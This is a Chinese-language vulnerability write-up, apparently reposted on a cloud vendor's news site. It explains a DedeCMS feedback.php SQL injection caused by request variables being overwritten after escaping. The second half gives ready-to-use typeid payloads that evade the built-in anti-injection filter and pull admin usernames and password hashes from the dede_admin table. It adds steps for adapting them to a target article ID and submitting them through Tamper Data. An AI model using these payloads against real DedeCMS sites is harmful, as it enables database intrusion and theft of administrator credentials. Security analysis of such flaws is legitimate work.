溫馨提示×

您好,登錄后才能下訂單哦!

密碼登錄×
登錄注冊(cè)×
其他方式登錄
點(diǎn)擊 登錄注冊(cè) 即表示同意《億速云用戶服務(wù)條款》

如何進(jìn)行dedecms注入的分析

發(fā)布時(shí)間:2021-11-09 17:21:01 來(lái)源:億速云 閱讀:92 作者:柒染 欄目:安全技術(shù)

如何進(jìn)行dedecms注入的分析,針對(duì)這個(gè)問(wèn)題,這篇文章詳細(xì)介紹了相對(duì)應(yīng)的分析和解答,希望可以幫助更多想解決這個(gè)問(wèn)題的小伙伴找到更簡(jiǎn)單易行的方法。

漏洞文件: plus\feedback.php。

存在問(wèn)題的代碼:

...if($comtype == 'comments')

{

$arctitle = addslashes($title);

if($msg!='')

{//$typeid變量未做初始化

$inquery = "INSERT INTO `dede_feedback`(`aid`,`typeid`,`username`,`arctitle`,`ip`,`ischeck`,`dtime`, `mid`,`bad`,`good`,`ftype`,`face`,`msg`)

VALUES ('$aid','$typeid','$username','$arctitle','$ip','$ischeck','$dtime', '{$cfg_ml->M_ID}','0','0','$feedbacktype','$face','$msg'); ";

echo $inquery;//調(diào)試,輸出查詢語(yǔ)句

$rs = $dsql->ExecuteNoneQuery($inquery);

if(!$rs)

{

ShowMsg(' 發(fā)表評(píng)論錯(cuò)誤! ', '-1');

//echo $dsql->GetError();

exit();

}

}

}

//引用回復(fù)

elseif ($comtype == 'reply')

{

$row = $dsql->GetOne("SELECT * FROM `dede_feedback` WHERE id ='$fid'");

$arctitle = $row['arctitle'];

$aid =$row['aid'];

$msg = $quotemsg.$msg;

$msg = HtmlReplace($msg, 2);

$inquery = "INSERT INTO `dede_feedback`(`aid`,`typeid`,`username`,`arctitle`,`ip`,`ischeck`,`dtime`,`mid`,`bad`,`good`,`ftype`,`face`,`msg`)

VALUES ('$aid','$typeid','$username','$arctitle','$ip','$ischeck','$dtime','{$cfg_ml->M_ID}','0','0','$feedbacktype','$face','$msg')";

$dsql->ExecuteNoneQuery($inquery);

}

完整的輸入語(yǔ)句,第二個(gè)參數(shù) typeid可控。

INSERT INTO `dede_feedback`(`aid`,`typeid`,`username`,`arctitle`,`ip`,`ischeck`,`dtime`, `mid`,`bad`,`good`,`ftype`,`face`,`msg`) VALUES ('108','2','游客','paxmac','127.0.0.1','1','1351774092', '0','0','0','feedback','0','nsfocus&&paxmac team');

common.inc.php文件 會(huì)把所有的request進(jìn)行處理。

function _RunMagicQuotes(&$svar)

{

if(!get_magic_quotes_gpc())

{

if( is_array($svar) )

{

foreach($svar as $_k => $_v) $svar[$_k] = _RunMagicQuotes($_v);

}

else

{

if( strlen($svar)>0 && preg_match('#^(cfg_|GLOBALS|_GET|_POST|_COOKIE)#',$svar) )

{

exit('Request var not allow!');

}

$svar = addslashes($svar);

}

}

return $svar;

}

…..

foreach(Array('_GET','_POST','_COOKIE') as $_request)

{

foreach($$_request as $_k => $_v)

{

if($_k == 'nvarname') ${$_k} = $_v;

else ${$_k} = _RunMagicQuotes($_v);

}

}

….

從上面代碼可以看到他對(duì)外來(lái)的提交進(jìn)行了轉(zhuǎn)義處理,但是在filter.ini.php文件中

function _FilterAll($fk, &$svar)

{

global $cfg_notallowstr,$cfg_replacestr;

if( is_array($svar) )

{

foreach($svar as $_k => $_v)

{

$svar[$_k] = _FilterAll($fk,$_v);

}

}

else

{

if($cfg_notallowstr!='' && preg_match("#".$cfg_notallowstr."#i", $svar))

{

ShowMsg(" $fk has not allow words!",'-1');

exit();

}

if($cfg_replacestr!='')

{

$svar = preg_replace('/'.$cfg_replacestr.'/i', "***", $svar);

}

}

return $svar;

}

/* 對(duì)_GET,_POST,_COOKIE進(jìn)行過(guò)濾 */

foreach(Array('_GET','_POST','_COOKIE') as $_request)

{

foreach($$_request as $_k => $_v)

{

${$_k} = _FilterAll($_k,$_v);

}

}上面是處理敏感詞的代碼,但是又對(duì)變量進(jìn)行了注冊(cè),導(dǎo)致了變量二次覆蓋漏洞。其實(shí)這漏洞很早前就存在,之前的是因?yàn)閷?duì)提交的變量只檢查一維數(shù)組的key,可以被繞過(guò)從而創(chuàng)建不允許的系統(tǒng)配置變量,dedecms歷來(lái)的修改都讓人摸不著頭腦,修補(bǔ)的都是表面的東西,實(shí)質(zhì)導(dǎo)致漏洞問(wèn)題的原因不做修改。從這次的補(bǔ)丁看來(lái),他就只加了一句判斷$typeid是否為數(shù)字,對(duì)于80sec的防注入代碼2次被繞過(guò)還繼續(xù)無(wú)視。

所以在GPC=OFF的時(shí)候,被轉(zhuǎn)義的變量又會(huì)被重新覆蓋而變成正常代碼。

Eg: typeid=2\’ 經(jīng)過(guò)覆蓋 typeid=2’

研究過(guò)上次dedecms SQL注入的問(wèn)題的同學(xué)肯定了解他的防注入機(jī)制。這里做下簡(jiǎn)單的分析。他對(duì)于\到\之間的內(nèi)容作為可信任,不對(duì)其進(jìn)行檢查。所以我們只要把想利用的代碼放在’ ‘內(nèi)就能躲過(guò)檢查。利用Mysql的一個(gè)語(yǔ)法,他的值@`’`為空,下面來(lái)構(gòu)造漏洞exp:

typeid=123′,@`’`,0×11111,1111,1,1351739660, 0,0,0,0,0,(SELECT concat(uname,0x5f,pwd,0x5f) FROM dede_admin)),(108,’1111

我用tamper data提交此參數(shù),

其實(shí)這里也利用了一個(gè)小bug

可以看到他的表結(jié)構(gòu),只有msg可以為null,但是利用代碼中在username中用了null,這是非法的語(yǔ)句,單獨(dú)插入是不會(huì)成功的,但是后面一句語(yǔ)句是成立的,insert (a,b) values (1,1)(2,2) (1,1,)非法 (2,2)符合條件的時(shí)候會(huì)成功同時(shí)插入2條語(yǔ)句。由于顯示字符數(shù)量的問(wèn)題,所以選擇了msg字段作為輸出。

補(bǔ)充 :`aid`,`typeid`,`username`,`arctitle`,`ip`,`ischeck`,`dtime`, `mid`,`bad`,`good`,`ftype`,`face`,`msg`  aid是文章的ID 所以直接用我的語(yǔ)句是不成功的,需要修改成自己的文章ID

typeid=123′,@`’`,0×11111,1111,1,1351739660, 0,0,0,0,0,(SELECT concat(uname,0x5f,pwd,0x5f) FROM `dede_admin`)),(評(píng)論文章ID,’1111

如 Tamper提交,(文章id=123)msg改為 www.hack6.com

mcbang&typeid=0','3','4','5','0','1351739660',%20'0','0','0','0','0','aaaaaa'),('123','2',@`'`,'4','5','1','1351739660',%20'0','0','0','0','0',(SELECT concat(uname,0x5f,pwd,0x5f) from '@#__admin')),(123,'2

關(guān)于如何進(jìn)行dedecms注入的分析問(wèn)題的解答就分享到這里了,希望以上內(nèi)容可以對(duì)大家有一定的幫助,如果你還有很多疑惑沒(méi)有解開(kāi),可以關(guān)注億速云行業(yè)資訊頻道了解更多相關(guān)知識(shí)。

向AI問(wèn)一下細(xì)節(jié)

免責(zé)聲明:本站發(fā)布的內(nèi)容(圖片、視頻和文字)以原創(chuàng)、轉(zhuǎn)載和分享為主,文章觀點(diǎn)不代表本網(wǎng)站立場(chǎng),如果涉及侵權(quán)請(qǐng)聯(lián)系站長(zhǎng)郵箱:is@yisu.com進(jìn)行舉報(bào),并提供相關(guān)證據(jù),一經(jīng)查實(shí),將立刻刪除涉嫌侵權(quán)內(nèi)容。

AI